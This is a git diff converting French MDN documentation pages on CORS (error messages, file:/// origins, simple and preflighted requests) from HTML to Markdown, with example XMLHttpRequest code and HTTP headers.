+ Header set Access-Control-Allow-Origin 'origin-list' -

Avec Nginx, la commande pour créer l'en-tête est :

+Avec Nginx, la commande pour créer l'en-tête est : -
add_header 'Access-Control-Allow-Origin' 'origin-list'
+ add_header 'Access-Control-Allow-Origin' 'origin-list' +## Voir aussi - -

Voir aussi

- - +- [Erreurs CORS](/fr/docs/Web/HTTP/CORS/Errors) +- Glossaire: {{Glossary("CORS")}} +- [Introduction au CORS](/fr/docs/Web/HTTP/CORS) diff --git a/files/fr/web/http/cors/errors/corsrequestnothttp/index.md b/files/fr/web/http/cors/errors/corsrequestnothttp/index.md index 640ac4c7b4..7ad0885f78 100644 --- a/files/fr/web/http/cors/errors/corsrequestnothttp/index.md +++ b/files/fr/web/http/cors/errors/corsrequestnothttp/index.md @@ -15,29 +15,27 @@ tags: - console translation_of: Web/HTTP/CORS/Errors/CORSRequestNotHttp --- -
{{HTTPSidebar}}
+{{HTTPSidebar}} -

Raison

+## Raison -
Raison : la requête CORS n’utilise pas http.
+ Raison : la requête CORS n’utilise pas http. -

Qu'est ce qui n'a pas fonctionné ?

+## Qu'est ce qui n'a pas fonctionné ? -

Les requêtes {{Glossary("CORS")}} ne peuvent utiliser que les URL HTTPS, mais l'URL spécifiée par la requête est d'un type différent. Cela se produit souvent si l'URL spécifie un fichier local, en utilisant un URL de la forme file:///.

+Les requêtes {{Glossary("CORS")}} ne peuvent utiliser que les URL HTTPS, mais l'URL spécifiée par la requête est d'un type différent. Cela se produit souvent si l'URL spécifie un fichier local, en utilisant un URL de la forme `file:///`. -

Pour résoudre ce problème, assurez-vous simplement d'utiliser les URL HTTPS lorsque vous émettez des requêtes impliquant CORS , comme {{domxref("XMLHttpRequest")}}, Fetch APIs, Web Fonts (@font-face), WebGL textures, et des stylesheets XSL.

+Pour résoudre ce problème, assurez-vous simplement d'utiliser les URL HTTPS lorsque vous émettez des requêtes impliquant CORS , comme {{domxref("XMLHttpRequest")}}, [Fetch](/fr/docs/Web/API/Fetch_API) APIs, Web Fonts (`@font-face`), [WebGL textures](/fr/docs/Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL), et des stylesheets XSL. -

Sécurité des fichiers locaux dans Firefox 68

+### Sécurité des fichiers locaux dans Firefox 68 -

Lorsqu'un utilisateur ouvrait une page en utilisant un URI file:/// dans Firefox 67 et antérieur, l'origine de la page était définie comme le répertoire à partir duquel la page était ouverte. Les ressources du même répertoire et de ses sous-répertoires étaient traitées comme ayant la même origine aux fins de la règle de la même origine de la CORS.

+Lorsqu'un utilisateur ouvrait une page en utilisant un URI `file:///` dans Firefox 67 et antérieur, l'origine de la page était définie comme le répertoire à partir duquel la page était ouverte. Les ressources du même répertoire et de ses sous-répertoires étaient traitées comme ayant la même origine aux fins de la règle de la même origine de la CORS. -

En réponse au CVE-2019-11730, Firefox 68 et les versions ultérieures définissent l'origine d'une page ouverte à l'aide d'un URI file:/// comme unique. Par conséquent, les autres ressources du même répertoire ou de ses sous-répertoires ne satisfont plus à la règle de la même origine de la COROS. Ce nouveau comportement est activé par défaut en utilisant la préférence privacy.file_unique_origin.

+En réponse au [CVE-2019-11730](https://www.mozilla.org/en-US/security/advisories/mfsa2019-21/#CVE-2019-11730), Firefox 68 et les versions ultérieures définissent l'origine d'une page ouverte à l'aide d'un URI `file:///` comme unique. Par conséquent, les autres ressources du même répertoire ou de ses sous-répertoires ne satisfont plus à la règle de la même origine de la COROS. Ce nouveau comportement est activé par défaut en utilisant la préférence `privacy.file_unique_origin`. -

Voir aussi

+## Voir aussi - +- [Erreurs liées à CORS](/fr/docs/Web/HTTP/CORS/Errors) +- Glossaire: {{Glossary("CORS")}} +- [Introduction à CORS](/fr/docs/Web/HTTP/CORS) +- [C'est quoi une URL?](/fr/docs/Learn/Common_questions/What_is_a_URL) diff --git a/files/fr/web/http/cors/errors/index.md b/files/fr/web/http/cors/errors/index.md index 17fa5f8e9b..e9defcfb12 100644 --- a/files/fr/web/http/cors/errors/index.md +++ b/files/fr/web/http/cors/errors/index.md @@ -14,66 +14,56 @@ tags: - troubleshooting translation_of: Web/HTTP/CORS/Errors --- -
{{HTTPSidebar}}
+{{HTTPSidebar}} -

Cross-Origin Resource Sharing ({{Glossary("CORS")}}) est une norme qui permet à un serveur d'assouplir la politique de même origine.

+[Cross-Origin Resource Sharing](/en-US/docs/Web/HTTP/CORS) ({{Glossary("CORS")}}) est une norme qui permet à un serveur d'assouplir la [politique de même origine](/en-US/docs/Web/Security/Same-origin_policy). -

Celle-ci est utilisée pour autoriser explicitement certaines requêtes provenant d'autres sources tout en en rejetant d'autres. Par exemple, si un site offre un service intégrable, il peut être nécessaire d'assouplir certaines restrictions. La configuration d'une telle configuration CORS n'est pas nécessairement facile et peut présenter certains défis. Dans ces pages, nous examinerons quelques messages d'erreur CORS courants et comment les résoudre.

+Celle-ci est utilisée pour autoriser explicitement certaines requêtes provenant d'autres sources tout en en rejetant d'autres. Par exemple, si un site offre un service intégrable, il peut être nécessaire d'assouplir certaines restrictions. La configuration d'une telle configuration CORS n'est pas nécessairement facile et peut présenter certains défis. Dans ces pages, nous examinerons quelques messages d'erreur CORS courants et comment les résoudre. +Si la configuration CORS n'est pas correctement effectuée, la console du navigateur affichera une erreur du type `"Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at $somesite"` (`"Requête Cross-Origin bloquée : La politique de même origine interdit la lecture de la ressource distante à $somesite"` en français) indiquant que la demande a été bloquée en raison d'une violation des règles de sécurité de CORS. Cependant, ce n'est pas nécessairement une erreur de configuration. Il est possible que la demande soit en fait intentionnellement refusée par l'application web de l'utilisateur et le service externe distant. Toutefois, si le terminal est destiné à être disponible, un certain débogage est nécessaire pour y parvenir. +## Identifier le problème -

Si la configuration CORS n'est pas correctement effectuée, la console du navigateur affichera une erreur du type "Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at $somesite" ("Requête Cross-Origin bloquée : La politique de même origine interdit la lecture de la ressource distante à $somesite" en français) indiquant que la demande a été bloquée en raison d'une violation des règles de sécurité de CORS. Cependant, ce n'est pas nécessairement une erreur de configuration. Il est possible que la demande soit en fait intentionnellement refusée par l'application web de l'utilisateur et le service externe distant. Toutefois, si le terminal est destiné à être disponible, un certain débogage est nécessaire pour y parvenir.

+Pour saisir la cause de l'erreur, il faut préalablement découvrir la requête fautive, ainsi que la configuration erronée. Ces étapes peuvent être utiles au processus: -

Identifier le problème

+1. Rendez-vous sur le site défaillant et ouvrez les [Developer Tools](/en-US/docs/Tools). +2. Essayez de reproduir la requête qui échoue et vérifiez la [console](/en-US/docs/Tools/Web_Console) pour trouver les messages de violation CORS, ce qui tournerait autours de: -

Pour saisir la cause de l'erreur, il faut préalablement découvrir la requête fautive, ainsi que la configuration erronée. Ces étapes peuvent être utiles au processus:

+![Firefox console showing CORS error](cors-error2.png) -
    -
  1. Rendez-vous sur le site défaillant et ouvrez les Developer Tools.
    2. -
  2. Essayez de reproduir la requête qui échoue et vérifiez la console pour trouver les messages de violation CORS, ce qui tournerait autours de:
    3. -
+Le text de l'erreur sera probablement similaire à: -

Firefox console showing CORS error

+ Cross-Origin Request Blocked: The Same Origin Policy disallows + reading the remote resource at https://some-url-here. (Reason: + additional information here). -

Le text de l'erreur sera probablement similaire à:

+> **Note :** Pour des raisons de sécurité, il _est impossible_ d'analyser les causes de l'erreur CORS via JavaScript. Seule une indication de l'échec de la requête sera fournie. Il faut donc absolument regarder manuellement les messages d'erreur de la console pour débugger. -
Cross-Origin Request Blocked: The Same Origin Policy disallows
-reading the remote resource at https://some-url-here. (Reason:
-additional information here).
+## Messages d'erreur CORS -
-

Note : Pour des raisons de sécurité, il est impossible d'analyser les causes de l'erreur CORS via JavaScript. Seule une indication de l'échec de la requête sera fournie. Il faut donc absolument regarder manuellement les messages d'erreur de la console pour débugger.

-
+Firefox affiche les erreurs dans la console lors d'échec de requête CORS. Ce message contient entre autres un champ "reason" donnant un meilleur contexte quant à la raison de l'échec de la requête. Ces messages sont listés ci-dessous; chacun de ces liens pointent vers un article plus spécifique et contenant des pistes de solution. -

Messages d'erreur CORS

+- [Raison: CORS désactivé](/en-US/docs/Web/HTTP/CORS/Errors/CORSDisabled) +- [Raison: la requête CORS a échoué](/en-US/docs/Web/HTTP/CORS/Errors/CORSDidNotSucceed) +- [Raison: l'en-tête CORS ‘Origin’ ne peut pas être ajouté](/en-US/docs/Web/HTTP/CORS/Errors/CORSOriginHeaderNotAdded) +- [Raison: Requête CORS redirection externe non autorisée](/en-US/docs/Web/HTTP/CORS/Errors/CORSExternalRedirectNotAllowed) +- [Raison: Requête CORS non http](/en-US/docs/Web/HTTP/CORS/Errors/CORSRequestNotHttp) +- [Raison: En-tête CORS ‘Access-Control-Allow-Origin’ manquant](/en-US/docs/Web/HTTP/CORS/Errors/CORSMissingAllowOrigin) +- [Raison: l'en-tête CORS ‘Access-Control-Allow-Origin’ ne correspond pas à ‘xyz’](/en-US/docs/Web/HTTP/CORS/Errors/CORSAllowOriginNotMatchingOrigin) +- [Raison: les informations d'identification ne sont pas prises en charge si l'en-tête CORS ‘Access-Control-Allow-Origin’ est ‘\*’](/en-US/docs/Web/HTTP/CORS/Errors/CORSNotSupportingCredentials) +- [Raison: Méthode introuvable dans l'en-tête CORS 'Access-Control-Allow-Methods’](/en-US/docs/Web/HTTP/CORS/Errors/CORSMethodNotFound) +- [Raison: ‘true’ attendu dans l'en-tête CORS ‘Access-Control-Allow-Credentials’](/en-US/docs/Web/HTTP/CORS/Errors/CORSMissingAllowCredentials) +- [Raison: Échec du canal de contrôle en amont CORS](/en-US/docs/Web/HTTP/CORS/Errors/CORSPreflightDidNotSucceed) +- [Raison: jeton ‘xyz’ non valide dans l'en-tête CORS ‘Access-Control-Allow-Methods’](/en-US/docs/Web/HTTP/CORS/Errors/CORSInvalidAllowMethod) +- [Raison: jeton ‘xyz’ non valide dans l'en-tête CORS ‘Access-Control-Allow-Headers’](/en-US/docs/Web/HTTP/CORS/Errors/CORSInvalidAllowHeader) +- [Raison: jeton ‘xyz’ manquant dans l'en-tête CORS ‘Access-Control-Allow-Headers’ du canal de contrôle en amont CORS](/en-US/docs/Web/HTTP/CORS/Errors/CORSMissingAllowHeaderFromPreflight) +- [Raison: plusieurs en-têtes CORS ‘Access-Control-Allow-Origin’ ne sont pas autorisés](/en-US/docs/Web/HTTP/CORS/Errors/CORSMultipleAllowOriginNotAllowed) -

Firefox affiche les erreurs dans la console lors d'échec de requête CORS. Ce message contient entre autres un champ "reason" donnant un meilleur contexte quant à la raison de l'échec de la requête. Ces messages sont listés ci-dessous; chacun de ces liens pointent vers un article plus spécifique et contenant des pistes de solution.

+## Voir aussi - - -

Voir aussi

- - +- Glossaire: {{Glossary("CORS")}} +- [CORS introduction](/en-US/docs/Web/HTTP/CORS) +- [Paramètres CORS côté serveur](/en-US/docs/Web/HTTP/Server-Side_Access_Control) +- [Image compatible CORS](/en-US/docs/Web/HTML/CORS_enabled_image) +- [Attributs des paramètres CORS](/en-US/docs/Web/HTML/CORS_settings_attributes) +- – une page pour tester les requêtes CORS diff --git a/files/fr/web/http/cors/index.md b/files/fr/web/http/cors/index.md index 24d38600ac..ea22f274d4 100644 --- a/files/fr/web/http/cors/index.md +++ b/files/fr/web/http/cors/index.md @@ -10,95 +10,85 @@ tags: - cross-site translation_of: Web/HTTP/CORS --- -
{{HTTPSidebar}}
+{{HTTPSidebar}} -

Le «  Cross-origin resource sharing » (CORS) ou « partage des ressources entre origines multiples » (en français, moins usité) est un mécanisme qui consiste à ajouter des en-têtes HTTP afin de permettre à un agent utilisateur d'accéder à des ressources d'un serveur situé sur une autre origine que le site courant. Un agent utilisateur réalise une requête HTTP multi-origine (cross-origin) lorsqu'il demande une ressource provenant d'un domaine, d'un protocole ou d'un port différent de ceux utilisés pour la page courante.

+Le «  _Cross-origin resource sharing_ » (CORS) ou « partage des ressources entre origines multiples » (en français, moins usité) est un mécanisme qui consiste à ajouter des en-têtes HTTP afin de permettre à un agent utilisateur d'accéder à des ressources d'un serveur situé sur une autre origine que le site courant. Un agent utilisateur réalise une requête HTTP **multi-origine (_cross-origin_)** lorsqu'il demande une ressource provenant d'un domaine, d'un protocole ou d'un port différent de ceux utilisés pour la page courante. -

Prenons un exemple de requête multi-origine : une page HTML est servie depuis http://domaine-a.com contient un élément <img> src ciblant http://domaine-b.com/image.jpg. Aujourd'hui, de nombreuses pages web chargent leurs ressources (feuilles CSS, images, scripts) à partir de domaines séparés (par exemple des CDN (Content Delivery Network en anglais ou « Réseau de diffusion de contenu »).

+Prenons un exemple de requête multi-origine : une page HTML est servie depuis `http://domaine-a.com` contient un élément [` src`](/fr/docs/Web/HTML/Element/Img#attr-src) ciblant `http://domaine-b.com/image.jpg`. Aujourd'hui, de nombreuses pages web chargent leurs ressources (feuilles CSS, images, scripts) à partir de domaines séparés (par exemple des CDN (_Content Delivery Network_ en anglais ou « Réseau de diffusion de contenu »). -

Pour des raisons de sécurité, les requêtes HTTP multi-origine émises depuis les scripts sont restreintes. Ainsi, {{domxref("XMLHttpRequest")}} et l'API Fetch respectent la règle d'origine unique. Cela signifie qu'une application web qui utilise ces API peut uniquement émettre des requêtes vers la même origine que celle à partir de laquelle l'application a été chargée, sauf si des en-têtes CORS sont utilisés.

+Pour des raisons de sécurité, les requêtes HTTP multi-origine émises depuis les scripts sont restreintes. Ainsi, {{domxref("XMLHttpRequest")}} et l'[API Fetch](/en-US/docs/Web/API/Fetch_API) respectent la règle [d'origine unique](/en-US/docs/Web/Security/Same-origin_policy). Cela signifie qu'une application web qui utilise ces API peut uniquement émettre des requêtes vers la même origine que celle à partir de laquelle l'application a été chargée, sauf si des en-têtes CORS sont utilisés. -

+![](cors_principle.png) -

Le CORS permet de prendre en charge des requêtes multi-origines sécurisées et des transferts de données entre des navigateurs et des serveurs web. Les navigateurs récents utilisent le CORS dans une API contenante comme {{domxref("XMLHttpRequest")}} ou Fetch pour aider à réduire les risques de requêtes HTTP multi-origines.

+Le CORS permet de prendre en charge des requêtes multi-origines sécurisées et des transferts de données entre des navigateurs et des serveurs web. Les navigateurs récents utilisent le CORS dans une API contenante comme {{domxref("XMLHttpRequest")}} ou [`Fetch`](/fr/docs/Web/API/Fetch_API) pour aider à réduire les risques de requêtes HTTP multi-origines. -

À qui est destiné cet article ?

+## À qui est destiné cet article ? -

Cet article est destiné à toutes et à tous.

+Cet article est destiné à toutes et à tous. -

Il pourra notamment servir aux administrateurs web, aux développeurs côté serveur ainsi qu'aux développeurs côté client. Les navigateurs récents permettent de gérer les règles de partage multi-origine côté client grâce à certaines règles et en-têtes mais cela implique également que des serveurs puissent gérer ces requêtes et réponses. Aussi, pour compléter le spectre concerné, nous vous invitons à lire d'autres articles complétant le point de vue « serveur » (par exemple cet article utilisant des fragments de code PHP).

+Il pourra notamment servir aux administrateurs web, aux développeurs côté serveur ainsi qu'aux développeurs côté client. Les navigateurs récents permettent de gérer les règles de partage multi-origine côté client grâce à certaines règles et en-têtes mais cela implique également que des serveurs puissent gérer ces requêtes et réponses. Aussi, pour compléter le spectre concerné, nous vous invitons à lire d'autres articles complétant le point de vue « serveur » (par exemple [cet article utilisant des fragments de code PHP](/fr/docs/Web/HTTP/Server-Side_Access_Control)). -

Quelles requêtes utilisent le CORS ?

+## Quelles requêtes utilisent le CORS ? -

Le standard CORS est utilisé afin de permettre les requêtes multi-origines pour :

+Le [standard CORS](https://fetch.spec.whatwg.org/#http-cors-protocol) est utilisé afin de permettre les requêtes multi-origines pour : - +- L'utilisation des API {{domxref("XMLHttpRequest")}} ou [Fetch](/fr/docs/Web/API/Fetch_API) +- Les polices web (pour récupérer des polices provenant d'autres origines lorsqu'on utilise {{cssxref("@font-face")}} en CSS), [afin que les serveurs puissent déployer des polices TrueType uniquement chargées en _cross-site_ et utilisées par les sites web qui l'autorisent](https://www.w3.org/TR/css-fonts-3/#font-fetching-requirements) +- [Les textures WebGL](/fr/docs/Web/API/WebGL_API/Tutorial/Utiliser_les_textures_avec_WebGL) +- Les _frames_ (images ou vidéo) dessinées sur un canevas avec [`drawImage`](/fr/docs/Web/API/CanvasRenderingContext2D/drawImage) +- Les feuilles de style (pour les accès [CSSOM](/fr/docs/Web/CSS/CSSOM_View)) +- Les scripts (pour les exceptions non silencieuses (_unmuted exceptions_)). -

Cet article propose un aperçu général de Cross-Origin Resource Sharing ainsi qu'un aperçu des en-têtes HTTP nécessaires.

+Cet article propose un aperçu général de _Cross-Origin Resource Sharing_ ainsi qu'un aperçu des en-têtes HTTP nécessaires. -

Aperçu fonctionnel

+## Aperçu fonctionnel -

Le standard CORS fonctionne grâce à l'ajout de nouveaux en-têtes HTTP qui permettent aux serveurs de décrire un ensemble d'origines autorisées pour lire l'information depuis un navigateur web. De plus, pour les méthodes de requêtes HTTP qui entraînent des effets de bord sur les données côté serveur (notamment pour les méthodes en dehors de {{HTTPMethod("GET")}} ou pour les méthodes {{HTTPMethod("POST")}} utilisées avec certains types MIME), la spécification indique que les navigateurs doivent effectuer une requête préliminaire (« preflight request ») et demander au serveur les méthodes prises en charges via une requête utilisant la méthode {{HTTPMethod("OPTIONS")}} puis, après approbation du serveur, envoyer la vraie requête. Les serveurs peuvent également indiquer aux clients s'il est nécessaire de fournir des informations d'authentification (que ce soit des cookies ou des données d'authentification HTTP) avec les requêtes.

+Le standard CORS fonctionne grâce à l'ajout de nouveaux [en-têtes HTTP](/fr/docs/Web/HTTP/Headers) qui permettent aux serveurs de décrire un ensemble d'origines autorisées pour lire l'information depuis un navigateur web. De plus, pour les méthodes de requêtes HTTP qui entraînent des effets de bord sur les données côté serveur (notamment pour les méthodes en dehors de {{HTTPMethod("GET")}} ou pour les méthodes {{HTTPMethod("POST")}} utilisées avec certains [types MIME](/fr/docs/Web/HTTP/Basics_of_HTTP/MIME_types)), la spécification indique que les navigateurs doivent effectuer une requête préliminaire (« _preflight request_ ») et demander au serveur les méthodes prises en charges via une requête utilisant la méthode {{HTTPMethod("OPTIONS")}} puis, après approbation du serveur, envoyer la vraie requête. Les serveurs peuvent également indiquer aux clients s'il est nécessaire de fournir des informations d'authentification (que ce soit des [cookies](/fr/docs/Web/HTTP/Cookies) ou des données d'authentification HTTP) avec les requêtes. -

Les sections qui suivent évoquent les différents scénarios relatifs au CORS ainsi qu'un aperçu des en-têtes HTTP utilisés.

+Les sections qui suivent évoquent les différents scénarios relatifs au CORS ainsi qu'un aperçu des en-têtes HTTP utilisés. -

Exemples de scénarios pour le contrôle d'accès

+## Exemples de scénarios pour le contrôle d'accès -

Voyons ici trois scénarios qui illustrent le fonctionnement du CORS. Tous ces exemples utilisent l'objet {{domxref("XMLHttpRequest")}} qui peut être utilisé afin de faire des requêtes entre différents sites (dans les navigateurs qui prennent en charge cette fonctionnalité).

+Voyons ici trois scénarios qui illustrent le fonctionnement du CORS. Tous ces exemples utilisent l'objet {{domxref("XMLHttpRequest")}} qui peut être utilisé afin de faire des requêtes entre différents sites (dans les navigateurs qui prennent en charge cette fonctionnalité). -

Les fragments de code JavaScript (ainsi que les instances serveurs qui gèrent ces requêtes) se trouvent sur http://arunranga.com/examples/access-control/ et fonctionnent pour les navigateurs qui prennent en charge {{domxref("XMLHttpRequest")}} dans un contexte multi-site.

+Les fragments de code JavaScript (ainsi que les instances serveurs qui gèrent ces requêtes) se trouvent sur et fonctionnent pour les navigateurs qui prennent en charge {{domxref("XMLHttpRequest")}} dans un contexte multi-site. -

Un aperçu « côté serveur » des fonctionnalités CORS se trouve dans l'article Contrôle d'accès côté serveur.

+Un aperçu « côté serveur » des fonctionnalités CORS se trouve dans l'article [Contrôle d'accès côté serveur](/fr/docs/Web/HTTP/Server-Side_Access_Control). -

Requêtes simples

+### Requêtes simples -

Certaines requêtes ne nécessitent pas de requête CORS préliminaire. Dans le reste de cet article, ce sont ce que nous appellerons des requêtes « simples » (bien que la spécification {{SpecName('Fetch')}} (qui définit le CORS) n'utilise pas ce terme). Une requête simple est une requête qui respecte les conditions suivantes :

+Certaines requêtes ne nécessitent pas de [requête CORS préliminaire](#preflight). Dans le reste de cet article, ce sont ce que nous appellerons des requêtes « simples » (bien que la spécification {{SpecName('Fetch')}} (qui définit le CORS) n'utilise pas ce terme). Une requête simple est une requête qui respecte les conditions suivantes : -
    -
  • Les seules méthodes autorisées sont : -
      -
    • {{HTTPMethod("GET")}}
      • -
    • {{HTTPMethod("HEAD")}}
      • -
    • {{HTTPMethod("POST")}}
      • -
    -
    • -
  • En dehors des en-têtes paramétrés automatiquement par l'agent utilisateur (tels que {{HTTPHeader("Connection")}}, {{HTTPHeader("User-Agent")}} ou tout autre en-tête dont le nom fait partie de la spécification Fetch comme « nom d'en-tête interdit »), les seuls en-têtes qui peuvent être paramétrés manuellement sont, selon la spécification : -
      -
    • {{HTTPHeader("Accept")}}
      • -
    • {{HTTPHeader("Accept-Language")}}
      • -
    • {{HTTPHeader("Content-Language")}}
      • -
    • {{HTTPHeader("Content-Type")}} (cf. les contraintes supplémentaires ci-après)
      • -
    -
    • -
  • Les seules valeurs autorisées pour l'en-tête {{HTTPHeader("Content-Type")}} sont : -
      -
    • application/x-www-form-urlencoded
      • -
    • multipart/form-data
      • -
    • text/plain
      • -
    -
    • -
  • Aucun gestionnaire d'évènement n'est enregistré sur aucun des objets {{domxref("XMLHttpRequestUpload")}} utilisés pour la requête, on y accède via la propriété {{domxref("XMLHttpRequest.upload")}}.
    • -
  • Aucun objet {{domxref("ReadableStream")}} n'est utilisé dans la requête.
    • -
+- Les seules méthodes autorisées sont : -
-

Note : Cela correspond aux classes de requêtes généralement produites par du contenu web. Aucune donnée de réponse n'est envoyée au client qui a lancé la requête sauf si le serveur envoie un en-tête approprié. Aussi, les sites qui empêchent les requêtes étrangères falsifiées ne craignent rien de nouveau.

-
+ - {{HTTPMethod("GET")}} + - {{HTTPMethod("HEAD")}} + - {{HTTPMethod("POST")}} -
-

Note : WebKit Nightly et Safari Technology Preview ajoutent des restrictions supplémentaires pour les valeurs autorisées des en-têtes {{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Language")}} et {{HTTPHeader("Content-Language")}}. Si l'un de ces en-têtes a une valeur non-standard, WebKit/Safari considère que la requête ne correspond pas à une requête simple. Les valeurs considérées comme non-standard par WebKit/Safari ne sont pas documentées en dehors de ces bugs WebKit : Require preflight for non-standard CORS-safelisted request headers Accept, Accept-Language, and Content-Language, Allow commas in Accept, Accept-Language, and Content-Language request headers for simple CORS et Switch to a blacklist model for restricted Accept headers in simple CORS requests. Aucun autre navigateur n'implémente ces restrictions supplémentaires, car elles ne font pas partie de la spécification.

-
+- En dehors des en-têtes paramétrés automatiquement par l'agent utilisateur (tels que {{HTTPHeader("Connection")}}, {{HTTPHeader("User-Agent")}} ou [tout autre en-tête dont le nom fait partie de la spécification Fetch comme « nom d'en-tête interdit »](https://fetch.spec.whatwg.org/#forbidden-header-name)), les seuls en-têtes qui peuvent être paramétrés manuellement sont, selon [la spécification](https://fetch.spec.whatwg.org/#cors-safelisted-request-header) : -

Si, par exemple, on a un contenu web situé sous le domaine http://toto.example qui souhaite invoquer du contenu situé sous le domaine http://truc.autre, on pourrait utiliser du code JavaScript semblable à ce qui suit sur toto.example :

+ - {{HTTPHeader("Accept")}} + - {{HTTPHeader("Accept-Language")}} + - {{HTTPHeader("Content-Language")}} + - {{HTTPHeader("Content-Type")}} (cf. les contraintes supplémentaires ci-après) -
var invocation = new XMLHttpRequest();
+- Les seules valeurs autorisées pour l'en-tête {{HTTPHeader("Content-Type")}} sont :
+
+  - `application/x-www-form-urlencoded`
+  - `multipart/form-data`
+  - `text/plain`
+
+- Aucun gestionnaire d'évènement n'est enregistré sur aucun des objets {{domxref("XMLHttpRequestUpload")}} utilisés pour la requête, on y accède via la propriété {{domxref("XMLHttpRequest.upload")}}.
+- Aucun objet {{domxref("ReadableStream")}} n'est utilisé dans la requête.
+
+> **Note :** Cela correspond aux classes de requêtes généralement produites par du contenu web. Aucune donnée de réponse n'est envoyée au client qui a lancé la requête sauf si le serveur envoie un en-tête approprié. Aussi, les sites qui empêchent les requêtes étrangères falsifiées ne craignent rien de nouveau.
+
+> **Note :** WebKit Nightly et Safari Technology Preview ajoutent des restrictions supplémentaires pour les valeurs autorisées des en-têtes {{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Language")}} et {{HTTPHeader("Content-Language")}}. Si l'un de ces en-têtes a une valeur non-standard, WebKit/Safari considère que la requête ne correspond pas à une requête simple. Les valeurs considérées comme non-standard par WebKit/Safari ne sont pas documentées en dehors de ces bugs WebKit : _[Require preflight for non-standard CORS-safelisted request headers Accept, Accept-Language, and Content-Language](https://bugs.webkit.org/show_bug.cgi?id=165178)_, _[Allow commas in Accept, Accept-Language, and Content-Language request headers for simple CORS](https://bugs.webkit.org/show_bug.cgi?id=165566)_ et _[Switch to a blacklist model for restricted Accept headers in simple CORS requests](https://bugs.webkit.org/show_bug.cgi?id=166363)_. Aucun autre navigateur n'implémente ces restrictions supplémentaires, car elles ne font pas partie de la spécification.
+
+Si, par exemple, on a un contenu web situé sous le domaine `http://toto.example` qui souhaite invoquer du contenu situé sous le domaine `http://truc.autre`, on pourrait utiliser du code JavaScript semblable à ce qui suit sur `toto.example` :
+
+```js
+var invocation = new XMLHttpRequest();
 var url = 'http://truc.autre/resources/public-data/';
 
 function callOtherDomain() {
@@ -108,96 +98,89 @@ function callOtherDomain() {
     invocation.send();
   }
 }
-
- -

Cela entraînera un échange simple entre le client et le serveur laissant aux en-têtes CORS le soin de gérer les privilèges d'accès :

- -

- -

Voyons dans le détail ce que le navigateur envoie au serveur et quelle sera sa réponse :

- -
GET /resources/public-data/ HTTP/1.1
-Host: truc.autre
-User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
-Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
-Accept-Language: en-us,en;q=0.5
-Accept-Encoding: gzip,deflate
-Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
-Connection: keep-alive
-Referer: http://toto.example/exemples/access-control/simpleXSInvocation.html
-Origin: http://toto.example
-
-
-HTTP/1.1 200 OK
-Date: Mon, 01 Dec 2008 00:23:53 GMT
-Server: Apache/2.0.61
-Access-Control-Allow-Origin: *
-Keep-Alive: timeout=2, max=100
-Connection: Keep-Alive
-Transfer-Encoding: chunked
-Content-Type: application/xml
-
-[XML Data]
-
- -

Les lignes 1 à 10 correspondent aux en-têtes envoyés. L'en-tête qui nous intéresse particulièrement ici est {{HTTPHeader("Origin")}}, situé à la ligne 10 : on y voit que l'invocation provient du domaine http://toto.example.

- -

Les lignes 13 à 22 détaillent la réponse HTTP du serveur situé sous le domaine http://truc.autre. Dans la réponse, le serveur renvoie un en-tête {{HTTPHeader("Access-Control-Allow-Origin")}} (visible à la ligne 16). On voit ici les en-têtes {{HTTPHeader("Origin")}} et {{HTTPHeader("Access-Control-Allow-Origin")}} pour un contrôle d'accès dans sa forme la plus simple. Ici, le serveur répond avec Access-Control-Allow-Origin: * ce qui signifie que la ressource peut être demandée par n'importe quel domaine. Si les propriétés de la ressource située sous http://truc.autre souhaitaient restreindre l'accès à la ressource à l'origine http://toto.example, ils auraient renvoyé :

- -

Access-Control-Allow-Origin: http://toto.example

- -

On notera que, dans ce cas, aucun autre domaine que http://toto.example (tel qu'identifié par l'en-tête Origin) ne pourra accéder à la ressource. L'en-tête Access-Control-Allow-Origin devrait contenir la valeur qui a été envoyée dans l'en-tête  Origin de la requête.

- -

Requêtes nécessitant une requête préliminaire

- -

À la différence des requêtes simples, les requêtes préliminaires envoient d'abord une requête HTTP avec la méthode {{HTTPMethod("OPTIONS")}} vers la ressource de l'autre domaine afin de déterminer quelle requête peut être envoyée de façon sécurisée. Les requêtes entre différents sites peuvent notamment utiliser ce mécanisme de vérification préliminaire lorsque des données utilisateurs sont impliquées.

- -

Une requête devra être précédée d'une requête préliminaire si une des conditions suivantes est respectée :

- -
    -
  • La requête utilise une des méthodes suivantes : -
      -
    • {{HTTPMethod("PUT")}}
      • -
    • {{HTTPMethod("DELETE")}}
      • -
    • {{HTTPMethod("CONNECT")}}
      • -
    • {{HTTPMethod("OPTIONS")}}
      • -
    • {{HTTPMethod("TRACE")}}
      • -
    • {{HTTPMethod("PATCH")}}
      • -
    -
    • -
  • Ou si, en dehors des en-têtes automatiquement paramétrés par l'agent utilisateur (comme {{HTTPHeader("Connection")}}, {{HTTPHeader("User-Agent")}} ou tout autre en-tête dont le nom est réservé dans la spécification), la requête inclut tout autre en-tête que ceux définis sur la liste blanche : -
      -
    • {{HTTPHeader("Accept")}}
      • -
    • {{HTTPHeader("Accept-Language")}}
      • -
    • {{HTTPHeader("Content-Language")}}
      • -
    • {{HTTPHeader("Content-Type")}} (cf. les contraintes supplémentaires ci-après)
      • -
    • {{HTTPHeader("Last-Event-ID")}}
      • -
    • DPR
      • -
    • Save-Data
      • -
    • Viewport-Width
      • -
    • Width
      • -
    -
    • -
  • Ou si l'en-tête {{HTTPHeader("Content-Type")}} possède une valeur autre que : -
      -
    • application/x-www-form-urlencoded
      • -
    • multipart/form-data
      • -
    • text/plain
      • -
    -
    • -
  • Ou si un ou plusieurs gestionnaires d'évènements sont enregistrés sur l'objet {{domxref("XMLHttpRequestUpload")}} utilisé dans la requête.
    • -
  • Ou si un objet {{domxref("ReadableStream")}} est utilisé dans la requête.
    • -
- -
-

